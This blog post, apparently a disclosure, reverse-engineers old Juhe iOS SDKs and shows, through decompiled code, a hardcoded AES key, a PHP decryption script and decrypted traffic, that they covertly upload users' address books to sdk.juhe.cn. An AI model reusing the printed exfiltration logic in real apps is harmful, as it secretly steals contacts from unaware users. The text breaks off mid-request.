关于聚合数据窃取用户通讯录的完整分析

起因

之前在测试聚合数据的 iOS SDK Demo 的时候,发现会请求通讯录权限 … 当时刚睡醒没多久,拿了自己在用的手机,还点了 Allow。

然后我就在 Charles 里发现了一个很大的请求,很好奇,便对 SDK 进行了逆向工程,拿到了解密方法,发现我的整个通讯录都被上传了。

于是我在 V2EX 发了一个帖子 请不要使用聚合数据的 SDK,后来被聚合的工作人员看到,他们是这样回复的:


聚合数据一直致力于为开发者提供更为优质的数据服务,并基于此出发点,推出了聚合数据SDK,该SDK整合了目前聚合数据所提供的所有数据接口,此次aveline反馈的聚合数据SDK读取通讯录问题,实质上是聚合数据为了方便用户使用由聚合数据提供的短信API服务。此举对于非短信API服务使用者可能会造成一定不适,考虑到这一点,我们立即对于IOS版与Android版SDK进行了更新,不再要求读取通讯录权限,并对于此前为开发者用户考虑不周的行为表示诚挚歉意,并保证不再进行此类有侵犯用户隐私嫌疑的行为。



聚合数据是一个严格恪守行业底线的平台,聚合数据在进行数据分析的过程中极为注重隐私的保护,数据都进行了严格的加密处理,所搜集的数据仅用于改进网站服务本身,并未用于任何非法用途,对于聚合数据注册账号及密码,也进行了严格的加密措施。

在 CEO 的微博上是这么回复的:


昨天晚上收到这个投诉,问了技术人员说是 主要考量是方便短信api用户 目前sdk 已连夜更新 彻底删除通讯录读取功能

但是实际上并非如此。

来,我们一个一个 SDK 看过去。

分析

因为部分版本已经被更新过,新版的确是 没有 通讯录读取功能,我们这里以老版本来分析。

有些不了解的读者可能会觉得更新了 SDK 就好了呀,但是其实不是这样子的:SDK 是嵌入在 App 里的,要 App 的开发者更新了,提交到 App Store 之后,终端用户更新了才不会继续被窃取通讯录,但是众所周知苹果审核 App 速度并不快,所以还会有很多使用了这个 SDK 并且用户允许访问通讯录的 App 被利用,继续向聚合数据的服务器上传通讯录。

另外,聚合数据服务器上用于接收上传的通讯录的接口并没有被删掉,而是仍然能够正常处理数据的。你就算为了骗我伪造个 404 也好呀~连伪装都不伪装一下,真是不要脸(不过也很有可能是智商低XD

聚合数据 SDK (iOS SDK v1.0.2)

使用 strings 很清楚的可以看到:

1
2
3
4
# strings JuheApis | grep -b1 "openid="
13015-%@[]
13020:openid=%@imei=%@&lat=%@&lon=%@&os=%@&type=%@&model=%@&sim=%@&network=%@&idfa=%@&pname=%@
13109-z@J:70=o*O%~!8-i

z@J:70=o*O%~!8-i 就是他们加密请求用的密钥啦。

所以,说好的 数据都进行了严格的加密处理 其实就是我们数据加密了但是我们把密钥明文放在里面了哟要看自己拿哟么么哒~

值得一提的是,代码里把用于 AES 的函数命名为了 DESEncrypt,而早期版本中则是直接有一个 libAes.so 的文件,不得不问一下:是不是为了窃取用户数据然后想改下函数名迷惑下反编译的人呢?可是 … 请问你知道汇编嘛?

因为看汇编代码有点头疼,以下给出的代码均为反编译后生成的 C 代码,并非我拿到了他们的源代码哦。

初始化部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
// JHHTTPClient + (void)initJHHTTPClient:(int) OpenId:(id) Path:(id) URLRoot:(id) Method:(id) Key:(id) Success:(id) Failure:(id)
void __cdecl +[JHHTTPClient initJHHTTPClient:OpenId:Path:URLRoot:Method:Key:Success:Failure:](struct JHHTTPClient *self, SEL a2, int a3, id a4, id a5, id a6, id a7, id a8, id a9, id a10)
{
int v10; // esi@1
void *v11; // eax@1
void *v12; // eax@1
int v13; // edi@1
void *v14; // eax@1
int v15; // esi@1
void *v16; // eax@1
int v17; // ebx@1
void *v18; // eax@4
void *v19; // edi@4
void *v20; // eax@6
int v21; // ebx@6
void *v22; // eax@8
void *v23; // eax@10
int v24; // ebx@10
void *v25; // eax@11
void *v26; // ST30_4@11
int v27; // edi@11
void *v28; // eax@13
void *v29; // ST30_4@13
int v30; // edi@13
int v31; // [sp+30h] [bp-38h]@1
void *v32; // [sp+38h] [bp-30h]@1
int v33; // [sp+3Ch] [bp-2Ch]@1
int v34; // [sp+40h] [bp-28h]@1
int v35; // [sp+44h] [bp-24h]@1
int v36; // [sp+48h] [bp-20h]@1
int v37; // [sp+4Ch] [bp-1Ch]@1
int v38; // [sp+50h] [bp-18h]@1
void *v39; // [sp+54h] [bp-14h]@1
int v40; // [sp+58h] [bp-10h]@2

v10 = objc_retain(a4);
v33 = objc_retain(a5);
v38 = objc_retain(a6);
v37 = objc_retain(a7);
v36 = objc_retain(a8);
v35 = objc_retain(a9);
v34 = objc_retain(a10);
v11 = objc_msgSend(classRef_JuHeInfo, selRef_sharedInfo);
v39 = (void *)objc_retainAutoreleasedReturnValue(v11);
v31 = v10;
objc_msgSend(v39, selRef_initInfo_, v10);
v12 = objc_msgSend(v39, selRef_getDicRawInfo);
v13 = objc_retainAutoreleasedReturnValue(v12);
v14 = objc_msgSend(classRef_NSMutableArray, selRef_alloc);
v32 = objc_msgSend(v14, selRef_init);
v15 = v33;
v16 = objc_msgSend(v39, selRef_getDicRawInfo);
v17 = objc_retainAutoreleasedReturnValue(v16);
objc_release(v13);
if ( a3 != 1 )
{
v40 = v17;
if ( (a3 & 0xFFFFFFFE) == 2 )
{
v18 = objc_msgSend(classRef_NSMutableDictionary, selRef_alloc);
v19 = objc_msgSend(v18, selRef_init);
objc_msgSend(v19, selRef_setDictionary_, v17);
if ( a3 == 3 )
{
if ( ABAddressBookGetAuthorizationStatus() == 3 )
{
objc_msgSend(v39, selRef_fetchAddressBookInfo_, v32);
v20 = objc_msgSend(v39, selRef_getSMSAddressBookJsonString_, v32);
v21 = objc_retainAutoreleasedReturnValue(v20);
objc_msgSend(v19, selRef_setObject_forKey_, v21, CFSTR("up"));
objc_release(v21);
}
}
else
{
objc_msgSend(v39, selRef_fetchAddressBookInfo_, v32);
v25 = objc_msgSend(v39, selRef_getSMSAddressBookJsonString_, v32);
v26 = v19;
v27 = objc_retainAutoreleasedReturnValue(v25);
objc_msgSend(v26, selRef_setObject_forKey_, v27, CFSTR("up"));
objc_release(v27);
v19 = v26;
}
objc_msgSend(
classRef_JHHTTPClient,
selRef_sendEncryptData_URLRoot_Data_Method_Key_Success_Failure_,
v33,
v38,
v19,
v37,
v36,
v35,
v34);
}
else
{
if ( (a3 & 0xFFFFFFFE) != 4 )
goto LABEL_16;
v22 = objc_msgSend(classRef_NSMutableDictionary, selRef_alloc);
v19 = objc_msgSend(v22, selRef_init);
objc_msgSend(v19, selRef_setDictionary_, v17);
if ( a3 == 5 )
{
if ( ABAddressBookGetAuthorizationStatus() == 3 )
{
objc_msgSend(v39, selRef_fetchAddressBookInfo_, v32);
v23 = objc_msgSend(v39, selRef_getSMSAddressBook_, v32);
v24 = objc_retainAutoreleasedReturnValue(v23);
objc_msgSend(v19, selRef_setObject_forKey_, v24, CFSTR("list"));
objc_release(v24);
}
}
else
{
objc_msgSend(v39, selRef_fetchAddressBookInfo_, v32);
v28 = objc_msgSend(v39, selRef_getSMSAddressBook_, v32);
v29 = v19;
v30 = objc_retainAutoreleasedReturnValue(v28);
objc_msgSend(v29, selRef_setObject_forKey_, v30, CFSTR("list"));
objc_release(v30);
v19 = v29;
}
objc_msgSend(
classRef_JHHTTPClient,
selRef_sendEncryptJsonData_URLRoot_Data_Method_Key_Success_Failure_,
v33,
v38,
v19,
v37,
v36,
v35,
v34);
}
objc_release(v19);
v15 = v33;
goto LABEL_16;
}
v40 = v17;
objc_msgSend(
classRef_JHHTTPClient,
selRef_sendEncryptData_URLRoot_Data_Method_Key_Success_Failure_,
v33,
v38,
v17,
v37,
v36,
v35,
v34);
LABEL_16:
objc_release(v32);
objc_release(v40);
objc_release(v39);
objc_release(v34);
objc_release(v35);
objc_release(v36);
objc_release(v37);
objc_release(v38);
objc_release(v15);
objc_release(v31);
}

里面的

1
2
objc_msgSend(v39, selRef_fetchAddressBookInfo_, v32);
v23 = objc_msgSend(v39, selRef_getSMSAddressBook_, v32);

就是用来获取通讯录的代码。

以下是执行 API 调用的部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
// JuheAPI - (void)executeWorkWithAPI:(id) parameters:(id) success:(id) failure:(id)
void __cdecl -[JuheAPI executeWorkWithAPI:parameters:success:failure:](struct JuheAPI *self, SEL a2, id a3, id a4, id a5, id a6)
{
void *v6; // eax@1
void *v7; // eax@1
void *v8; // esi@1
void *v9; // eax@1
void *v10; // eax@1
void *v11; // eax@1
void *v12; // edi@1
void *v13; // eax@1
void *v14; // esi@1
void *v15; // eax@4
int v16; // esi@4
void *v17; // eax@4
int v18; // eax@4
int v19; // edi@4
int v20; // ST3C_4@5
void *v21; // [sp+40h] [bp-58h]@4
int v22; // [sp+44h] [bp-54h]@1
int v23; // [sp+48h] [bp-50h]@1
int v24; // [sp+4Ch] [bp-4Ch]@1
int v25; // [sp+50h] [bp-48h]@1
int v26; // [sp+54h] [bp-44h]@1
void **v27; // [sp+58h] [bp-40h]@5
int v28; // [sp+5Ch] [bp-3Ch]@5
int v29; // [sp+60h] [bp-38h]@5
int (__cdecl *v30)(int, int); // [sp+64h] [bp-34h]@5
int v31; // [sp+68h] [bp-30h]@5
int v32; // [sp+6Ch] [bp-2Ch]@5
void **v33; // [sp+70h] [bp-28h]@5
int v34; // [sp+74h] [bp-24h]@5
int v35; // [sp+78h] [bp-20h]@5
int (__cdecl *v36)(int, int); // [sp+7Ch] [bp-1Ch]@5
int v37; // [sp+80h] [bp-18h]@5
int v38; // [sp+84h] [bp-14h]@5

v26 = objc_retain(a3);
v25 = objc_retain(a4);
v22 = objc_retain(a5);
v24 = objc_retain(a6);
v6 = objc_msgSend(classRef_JHOpenidSupplier, selRef_shareSupplier);
v7 = (void *)objc_retainAutoreleasedReturnValue(v6);
v8 = v7;
v9 = objc_msgSend(v7, selRef_getLatestJuheAPIOpenId);
v23 = objc_retainAutoreleasedReturnValue(v9);
objc_release(v8);
v10 = objc_msgSend(classRef_NSUserDefaults, selRef_standardUserDefaults);
v11 = (void *)objc_retainAutoreleasedReturnValue(v10);
v12 = v11;
v13 = objc_msgSend(v11, selRef_objectForKey_, CFSTR("ujc"));
v14 = (void *)objc_retainAutoreleasedReturnValue(v13);
objc_release(v12);
if ( !v14 || !(unsigned __int8)objc_msgSend(v14, selRef_isEqualToString_, CFSTR("1")) )
objc_msgSend(
classRef_JHHTTPClient,
selRef_initJHHTTPClient_OpenId_Path_URLRoot_Method_Key_Success_Failure_,
4,
v23,
CFSTR("initialize"),
CFSTR("http://sdk.juhe.cn"),
CFSTR("POST"),
CFSTR("z@J:70=o*O%~!8-i"),
&__block_literal_global67,
&__block_literal_global69);
v21 = v14;
v15 = objc_msgSend(self, selRef_calibrateParameters_api_, v25, v26);
v16 = objc_retainAutoreleasedReturnValue(v15);
v17 = objc_msgSend(classRef_JHHTTPClient, selRef_sharedJuHeHTTPClient);
v18 = objc_retainAutoreleasedReturnValue(v17);
v19 = v22;
if ( v18 )
{
v33 = _NSConcreteStackBlock;
v34 = -1040187392;
v35 = 0;
v20 = v18;
v36 = __57__JuheAPI_executeWorkWithAPI_parameters_success_failure___block_invoke_3;
v37 = (int)&__block_descriptor_tmp76;
v38 = objc_retain(v22);
v27 = _NSConcreteStackBlock;
v19 = v22;
v28 = -1040187392;
v29 = 0;
v30 = __57__JuheAPI_executeWorkWithAPI_parameters_success_failure___block_invoke77;
v31 = (int)&__block_descriptor_tmp80;
v32 = objc_retain(v24);
objc_msgSend(
classRef_JHHTTPClient,
selRef_sendEncryptData_URLRoot_Data_Method_Key_Success_Failure_,
CFSTR("/api"),
CFSTR("http://sdk.juhe.cn"),
v16,
CFSTR("GET"),
CFSTR("z@J:70=o*O%~!8-i"),
&v33,
&v27);
objc_release(v32);
objc_release(v38);
v18 = v20;
}
objc_release(v18);
objc_release(v16);
objc_release(v21);
objc_release(v23);
objc_release(v24);
objc_release(v19);
objc_release(v25);
objc_release(v26);
}

可以清楚的看到,这里并没有判断是否是调用的短信 API,而判断的是有没有拿到通讯录,有的话,上传。

另外,就算是像他们所说的 方便短信api用户:嗯我们把他曲解成和开发者共享用户隐私好啦,聚合数据的后台里也没有能看到的地方呀那你到底方便的是谁呐~

呐,拿到加密方式和密钥,解密也就很容易啦:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env php
<?php
function decrypt($data) {
$method = 'AES-128-ECB';
$password = 'z@J:70=o*O%~!8-i';
$data = hex2bin($data);
return mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $password, $data, MCRYPT_MODE_ECB);
}
$data = trim(file_get_contents('php://stdin'));
echo decrypt($data);

现在我们来解密它发送的三个请求:

1
2
3
4
5
6
7
GET /initapi?0EF3CC39DB8ED6938DC47B2D626F4D1FAEA274211EB1A8FC1490F7FA0BFCD28ACE887174D7C22BAE74DB70A6197552C58E48B39A41B4C798B82E44F34F9EDCE1C3A92E1BC679C91D87CBD598CC36C52AA00294A748DCCE0DF84704E73D00C6A7B8299ED6ED854906B3E72C1028873F7E8FBF1C38A799E059C80AD0A76836C8FB3CA9B410DC41B30394F76CFF4FD321783EDE69D322CA8658FF982E7BD77FAF69C7D798338B01BC62AAD9F20C426642ABE4E6B8DCDDE379ECA2F5188990E2F9FB0E9489AEB47955DC00DE2AD752F06B6BAA18141CBB1C047356D41A8984EE16790C1C18C765A46B8625FCC9E08C3A981226F7BC31422DF0CF446789B808A9003AD73133CCE0A2C79B38EB1A4D92FCF8FBB0C47186418D2EF55E96D2569D544AB84983EB013C2A5FD3B1EBC5EE6234652FE4ABBDE85FE04B5A6372A4004AD74622 HTTP/1.1
Host: sdk.juhe.cn
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en;q=1
Connection: keep-alive
User-Agent: JuheApisDemo/1 (iPhone; iOS 8.1; Scale/2.00)

解密后是一串 querystring,为了看得更清楚一些我这里以 JSON 的格式显示:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"idfa" : "13D66220-D133-4145-8D60-4A1CC99C0178",
"lat" : "0.000000",
"model" : "iPhone",
"lon" : "0.000000",
"pname" : "com.thinkland.JuheApisDemo",
"sim" : "中国电信",
"imei" : "48d34682f03f55be46b953bd5e2111c14c0c5e9a",
"os" : "8.1",
"openid" : "JH1a5e42462c03dbec36c224c33fa0be65",
"network" : "CTRadioAccessTechnologyCDMAEVDORevA",
"type" : "iPhone OS"
}

发送了我的 IDFA、位置、手机型号、运营商、IMEI、系统版本和网络制式。其中位置信息由于没有请求位置权限,所以显示的是 0.000000。

这里的都还好,下一个请求:

1
2
3
4
5
6
7
8
9
10
11
POST /initialize HTTP/1.1
Host: sdk.juhe.cn
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 3040
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept-Language: en;q=1
Connection: keep-alive
User-Agent: JuheApisDemo/1 (iPhone; iOS 8.1; Scale/2.00)

73AA9E8CBE5FCFDF120F9C4E3ADA11E5098FE158DA50A604D3E3F22D31DFFBDD806962BCC8DD56CC691F11C72525983C6D0259878085EF80988D6493A7977BD3E8AB0F802D54E81DDC38DF4D1B30526857EFE953AE6BE9729EDDA125CFFCE686BEB010E79E646E75507B21F15C838019D1AB170B39BE4BD115A988B15E51D0D569B1CC2C3B34B4191756906065E05D8B0F324CE47DA85F29BC3CE88D1A3FD2D9D861CDED624387A70C0B4F774212A9E6153C148427BB5B4371C9071FC19B04A5088F27CF599B48677D0D86104486FE4DAB8B125A6B16BABB0810BCB2B855ADA41F9110D0FA7B84C2E283545DC1281FC149BBE809B9C908F345966351211F168363253677BE2E0702331C19B9545A5F8297EA564E085BEF3B4D4CDB3A974BD92A027665649F9772A095F436C26C4348E482BC78DC9F08B39EE0D8E7EE4F3108189E2F1FB7B4A902CCE70C281733F0312AE23B954D92A4E4B8BFF9E696A114BE3F1AEBC543089062710894AF433C0592F6AB22E234D64C7354EF33A9161E3B3ECEEE61D973D4E7AA9EDF38FCF19848AF388198C7C4B521E81709F8DDE72C242C34405F715A563624AD55BF5325BCF4885937D79C572FBDFA9D8FEE7F813E056CF2BAC50CEFE8086E8CA9DE848F0D1CEFA4F176387EE77F81109CE602AD64B1C9577B91F301D6BEA16E2F01CD5BB81268C72307585C26183E471DC2E58A19A7CFBE713E40F58B34EC796920F9828616F4D5E681616C2A5FB13BED991BE158D4817CBC90EEED88B0D776B36206AF919D92CBE748209AA64EDB889B013949DE263D2501E38C017BAB46BD43F6B0CA084FDDAEDB962E56D935FB3A6142F6B1A8A3DCDFFC45E20FCEC6AB362A9D04DE99D75CCF4C83F9934A82B013B3242459F8B9CEF4567780FDC35FA45B3CB15047D26DF994869C26E6E4688A2A54CC61B87CE69821F0B1DA768C0530A4E74B7AF11647C51C20285130168190E10F799E12A69C87919E3378F2D8E3ED0B4BE136E84A084E20F94F6EC8587310E38724A00DA5F039B793EF9C5B0DB3EE1EB8B593197E9B52B7862FEE0EEE6E742BD635644CED0CED33809B556CD7AC5390CB018652C3FF8D0145A704FA62E9EB669B68754B09BD04A20E0D0EA13104257B437E195347833CE9023D392EC0E94E8A463C0766BEEF623CF94F6EC8587310E38724A00DA5F039B726DE1C55C9A768460D9DCFAD1A60BBF36B0D6B18A57A4B725BDE71093EB8A8E9B593100C272D9B12596210DBCD8AC19AAFF55A224C561C3AF8705B6FCA7583D895E2CCEBE8AA14B6FD90044FE1821573036754EE03624BD10D23257F06436735AA5179C5E74DF92FFCA0C6AF61E1256F7CE8E348A8DD4706DF4FC52A54098D38791434CA45E1693DBFDE6639715CDD18FB35D8DE5FC57CFC9C2AAC289875747487EDCCB050E6F700B36DD04074833DAA3CA9C3ADB15C3552AFE488352ADA4E2FB3FD3B63C8BE2A38296092EA1F6D26F84B5B46ED65AE90DFD8D21D7D7849A2F5480E50922CC47C9E4316E7B52E706EC9B30C0041F64DD3241F3E8FFFDF32D6C4B8DC4FD1A27ED1DEE1EA68123F513CE09F886224E11583A3FAF063D48E5CD35D67C8142EA206AAF0A8ECBA1123157C24E126A6CAB35917C3686129D39D9A14DFF323D815610E29DE3B5EDA91CD91EDE67DCAC51728F5CD199C5CDFA4D618DA05027665649F9772A095F436C26C4348E41DFEB2E751049592775469D52996E7629E2F1FB7B4A902CCE70C281733F0312A26E606DAEE06EF6AA3861F58F56D66E07BEC6D2CCA7448216A4B0A634282C11DDC4F17F26B0B976992F90221843744E6F7E1E4690D797ED65297B276B5E6BD5232284CA56B21F5A806DAEF23840169D616471EE50B4410227FD485CC05F64C33D437E833B4D31661ECB89A8F5D3A1C425729369D205F628BC39B18E5057DEB364D6619554E66FC97A874BF0F15FE6D1B856FF906E8462DCCECBD958A4FE80647298AFE00F2A640D519FFF81AA3DEF742827D627E04B3B557D8F899FFEECA8D6E3E98DE406026B64AC040C0377F9479296E6BC9647C3DF34405F2D69EBC4957D0C656E0C7792996FABF85BD4462C1F2953EDE69D322CA8658FF982E7BD77FAF69130AD757016D7D982E51B013A967F19B

解密后是一串格式化过的 JSON,说起来真是浪费空间呐,虽然有 gzip 也不要这样子嘛:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
{
"idfa" : "13D66220-D133-4145-8D60-4A1CC99C0178",
"type" : "iPhone OS",
"pname" : "com.thinkland.JuheApisDemo",
"sim" : "中国电信",
"lon" : "",
"list" : [
{
"disPlayName" : "DoeJoe",
"listNoteinfo" : [
{
"noteinfo" : ""
}
],
"listAddress" : [
{
"street" : "",
"city" : "",
"region" : "",
"postCode" : "",
"formatAddress" : "{\n City = Suzhou;\n Country = China;\n CountryCode = cn;\n State = Jiangsu;\n Street = \"Each St\\nChangwan\";\n ZIP = 215000;\n}"
}
],
"contactId" : "1",
"listEmail" : [
{
"emailType" : "",
"emailValue" : "spyware@spyware.tld"
}
],
"listPhone" : [
{
"phoneType" : "iOS",
"phoneNumber" : " (0) 21110"
},
{
"phoneNumber" : " (0) 10110",
"phoneType" : "iOS"
},
{
"phoneType" : "iOS",
"phoneNumber" : " (0) 1012315"
}
],
"listNickname" : [
{
"nickname" : ""
}
],
"listOrganizations" : [
{
"company" : "Spyware Technologies LLC",
"title" : ""
}
]
}
],
"imei" : "48d34682f03f55be46b953bd5e2111c14c0c5e9a",
"model" : "iPhone",
"openid" : "JH1a5e42462c03dbec36c224c33fa0be65",
"lat" : "",
"network" : "CTRadioAccessTechnologyCDMAEVDORevA",
"os" : "8.1"
}

不用我再多说啥了吧?我给份对照表大家慢慢看。

由于里面的英文表达的不准确、大小写位置也有不正确的,可能引起强迫症患者不适,不过原文如此,我也没办法啦~

Parent keyKeyDescription
-disPlayName显示名称
listNoteinfonoteinfo联系人备注
listAddressstreet住址:街道
listAddresscity住址:城市
listAddressregion住址:省份
listAddresspostCode住址:邮编
listAddressformatAddress格式化后的住址
-contactId联系人 ID
listEmailemailTypeE-mail 类型
listEmailemailValueE-mail 地址
listPhonephoneType电话号码类型
listPhonephoneNumber电话号码
listNicknamenickname昵称
listOrganizationscompany公司
listOrganizationstitle职位

短信验证码 SDK (iOS SDK v1.0.1)

以下的我都偷懒直接 strings 大法好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# strings SMSSDKDemo/SMSSDK.framework/SMSSDK | grep -i SMSAddressBook
uploadSMSAddressBook
initSMSAddressBook:
getSMSAddressBook:
getSMSAddressBookJsonString:
SMSAddressBook
uploadSMSAddressBook
initSMSAddressBook:
getSMSAddressBook:
getSMSAddressBookJsonString:
SMSAddressBook
uploadSMSAddressBook
initSMSAddressBook:
getSMSAddressBook:
getSMSAddressBookJsonString:
SMSAddressBook

这个版本最诚实,uploadSMSAddressBook 就直接当函数名了啊哈哈~

条码数据 SDK (iOS SDK v1.0.2)

1
2
3
4
# strings Barcode_iOSSDK_v1.2/barcode/demoBarcode/JuheBarcode.framework/Versions/A/JuheBarcode | grep -i SMSAddressBook
initSMSAddressBook:
getSMSAddressBook:
getSMSAddressBookJsonString:

会上传。

比价数据 SDK (iOS SDK v1.0.0)

1
# strings bijia.sdk.v1.0/JuhePrice.framework/Versions/A/JuhePrice| grep -i SMS

没有。

电商数据 SDK (iOS SDK v1.0.0)

1
# strings dianshang.sdk.v1.0/JuheEBusiness.framework/Versions/A/JuheEBusiness | grep -i SMS

没有。

聚合基站 (2.3.4)

会上传通讯录。

1
2
3
4
5
6
7
8
9
10
11
POST /initialize HTTP/1.1
Host: sdk.juhe.cn
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 3136
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept-Language: en;q=1
Connection: keep-alive
User-Agent: BaseStation/2.3.4 (iPhone; iOS 8.1; Scale/2.00)

73AA9E8CBE5FCFDF120F9C4E3ADA11E5098FE158DA50A604D3E3F22D31DFFBDD806962BCC8DD56CC691F11C72525983C6D0259878085EF80988D6493A7977BD3E8AB0F802D54E81DDC38DF4D1B30526857EFE953AE6BE9729EDDA125CFFCE686BEB010E79E646E75507B21F15C838019D1AB170B39BE4BD115A988B15E51D0D53BF955CA1EE69492CA2B92951D630AAACF07DDBA6B0FC5EBF680558092FA451EE3DD03DF6A1A9C68BDC1DA8B435BB9D6153C148427BB5B4371C9071FC19B04A52E391960CE962CE47DB5DFFBF0B118050BE1F9E08D3137F0DBF3F7CA62BD3E0CEB928FC5D6566C4F47AE673585E8B2A4B6C86290B100EA09BEF62C68C0B9DA1774D063D02DCC77C6AD08DBEE1BE10489D36A867B758B8F11AFFCD6E49D75F5051675D4F7BF036568726655509456492907285241129C3C08FC47BB12FA82343E6C1C5A23C8AF115D1BC074EFF2BFBDD3830CD2E7C64B0ECE88888D64DCEE4B0C49BBE809B9C908F345966351211F1683164E95824121A0C0F1CDD18257CDB57472F89D8135FEB13BEC886D10E0F5C694364223B0B1441B889A8BBBD94241801AD117846002D6E7F2B247B69D2273A612C1D1C6D5F511ACCA8016FEE51CDE6CE9E1C92FD44D74487E6F7AB50F6641031AE23B954D92A4E4B8BFF9E696A114BE3F1AEBC543089062710894AF433C0592F6AB22E234D64C7354EF33A9161E3B3ECEA72EF216AB7E09A2D01ECE84A09AF3798198C7C4B521E81709F8DDE72C242C34405F715A563624AD55BF5325BCF4885937D79C572FBDFA9D8FEE7F813E056CF2BAC50CEFE8086E8CA9DE848F0D1CEFA4F176387EE77F81109CE602AD64B1C95786E591A1B6B28F0803EDF40B841C99CA33AE5183815AA0163C8858A036AA1E0A02A702660ECD4F0A91963F3E0199E06868BB46A706F815E0B476A516345D3DC44F02475D87169EFB0DD8C57FACD999C414127E2B443716C2C077A788365722112386DD49D3A4FB6E53342E4AED87A8D5F6F30E95EA8F7AC6418FAB93C7D8D0FC93AE9B7357DC24877CC7D4A8845E9FC932284CA56B21F5A806DAEF23840169D6BE8E3C5EB8C48F3090BAC0420B8515662F3C660851C368255D6C8D8CD42F712396B68821543C007F86422D935ED43FC1F4A5533B56B09663441EEDA4A4DE2AB2FA44E7579C1F2C30A2DC0AC3DF16ECFDC5EDB9B7C219AA46CBE8E9AFDEDECDBF177BA213B7A48DD46C9D61793E16F914BE8E3C5EB8C48F3090BAC0420B851566A53D2AF64C414B5FCDDD3B8F5A414C754DFD588FF47DBEDF19877EDEF91197EE260B744B3E6B2B25CE39480B224403FA1E8495267D17FA9756F7A400879EA235D75083030956B00E8A62B4708A778F0EB562E16C8E06EB7DB7FA4B35CDC7C66123D09FBFBC69B8985D908FAE76FDD279239DD8306DE513A206856E3AB40064BEAF9B61971ACE7C9A46A7EFFC4C5BC2A80968B89969BD1535F04663F0FD7B34D96CECD7038867BD9F957E38F1DB532933F4CEA2A1C5D6D61FDD8D91F7F498291F513EC290E7C8389799D60F5462300687AAC5E45F542E22FE63FEBC8CF00925E0A38D2A579116AE2BFB36F300ACA048648A4257429F1439E8F1E36986A3B9E8CE6AD933B0E7B484E34068E5060DD1B76ABBEFC43BE7A1E4D69A825C24211D0CF6CE8D77A9DAFFFD272118F335B70E88D8A75F63C92D5BE8A79601AC8067C37BF5F6EFBA24FFE3D241F2F12ED1886460516C1C5A23C8AF115D1BC074EFF2BFBDD3BE645B255BD77018A65F6862221ACA4749BBE809B9C908F345966351211F1683086D73DA945916C5D8EFC82C2CB859F43FACBEDAAB1084CD6CE091FBB20B1A159FEE8FCEAA4FCA8A7ACB53B145F248D5086D73DA945916C5D8EFC82C2CB859F4591E4F586413F532C14C6618CB12685DEBFE034BD7EF6CB7949682DC04B9399E973A0F55DA9BB508CA5E70060E04B9AAA27BBC70E1BCDBC76F5F37CA162B2ABE2933BEBFF30847B06F2E5339BA67B8133DA5CD554C1BE5C1EFE85378321E298E272F6C13B9AB3DD738DBA98AC717C7F30EBABE1395E76606BD4F1CBACDE01715E2AEF32E6C5F69E0D1DF5B312BD2412C63C374D5F722BD9F936FE99398DCA88741425F621429491885440F5267A3EC3ACD611BB843FAB1C31078AC40FD6EE365704FFADD5A5441903C6170EECFAABCCB21F60C8CCEFE80733BB66F704BA645ED

解密后结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
{
"idfa" : "13D66220-D133-4145-8D60-4A1CC99C0178",
"lon" : "",
"sim" : "中国电信",
"type" : "iPhone OS",
"imei" : "321a804136f53aef66a52296f4773ba4f3c1abf0",
"os" : "8.1",
"lat" : "",
"pname" : "com.think-land.juhe",
"list" : [
{
"listNickname" : [
{
"nickname" : ""
}
],
"listPhone" : [
{
"phoneType" : "iOS",
"phoneNumber" : " (0) 21110"
},
{
"phoneType" : "iOS",
"phoneNumber" : " (0) 10110"
},
{
"phoneType" : "iOS",
"phoneNumber" : " (0) 1012315"
}
],
"listOrganizations" : [
{
"company" : "Spyware Technologies LLC",
"title" : ""
}
],
"disPlayName" : "DoeJoe",
"listNoteinfo" : [
{
"noteinfo" : ""
}
],
"contactId" : "1",
"listAddress" : [
{
"street" : "",
"formatAddress" : "{\n City = Suzhou;\n Country = China;\n CountryCode = cn;\n State = Jiangsu;\n Street = \"Each St\\nChangwan\";\n ZIP = 215000;\n}",
"city" : "",
"postCode" : "",
"region" : ""
}
],
"listEmail" : [
{
"emailValue" : "spyware@spyware.tld",
"emailType" : ""
}
]
}
],
"model" : "iPhone",
"openid" : "JHaf65a935c448fe7772d219d44a49e6aa",
"network" : "CTRadioAccessTechnologyCDMAEVDORevA",
"openId" : "JHaf65a935c448fe7772d219d44a49e6aa"
}

你查查 (1.6.4)

会上传通讯录。

1
2
3
4
5
6
7
8
9
10
11
POST /initialize HTTP/1.1
Host: sdk.juhe.cn
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 3136
